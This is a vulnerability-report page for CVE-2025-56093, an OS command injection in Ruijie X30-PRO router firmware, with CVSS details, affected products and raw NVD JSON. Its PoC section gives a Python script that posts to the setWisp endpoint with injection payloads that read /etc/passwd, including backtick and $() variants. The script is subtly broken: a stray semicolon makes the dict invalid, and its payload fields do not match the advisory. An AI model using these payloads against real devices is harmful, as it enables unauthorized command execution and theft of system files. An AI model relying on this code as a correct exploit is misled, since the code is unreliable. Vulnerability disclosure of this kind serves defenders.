Security Vulnerability Report
中文
CVE-2025-56093 CVSS 8.8 HIGH

CVE-2025-56093

Published: 2025-12-11 19:15:55
Last Modified: 2026-01-27 17:52:18

Description

OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the setWisp in file /usr/lib/lua/luci/modules/wireless.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\(1\)b2p55:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X30-PRO 固件版本 X30-PRO-V1_09241521 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56093 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO Router setWisp endpoint # Vulnerability: OS Command Injection in /usr/lib/lua/luci/modules/wireless.lua target_ip = "192.168.1.1" # Router IP address target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/luci/;stok=/admin/wireless/setWisp" # Payload to inject command: cat /etc/passwd # Using semicolon to chain commands payload = { "device": "eth0", "wisp_name": "test"; "command": "cat /etc/passwd", # Alternative payloads: # "wisp_name": "test`cat /etc/passwd`", # "wisp_name": "test$(cat /etc/passwd)" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56093", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.167", "lastModified": "2026-01-27T17:52:18.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the setWisp in file /usr/lib/lua/luci/modules/wireless.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "467678E1-6A87-4C42-98CD-CB970BCB53DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94BA1D95-3F5C-4888-AF37-287F843CA80D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "5A2F0026-B379-46FF-BFC5-56F0C2CB5A58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Edoz9sBTjeJMqw8K0f3lWgMBNxBlpE9IIUwOX2h2S1cMhw?e=46VlOq", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56092.md", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56093.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}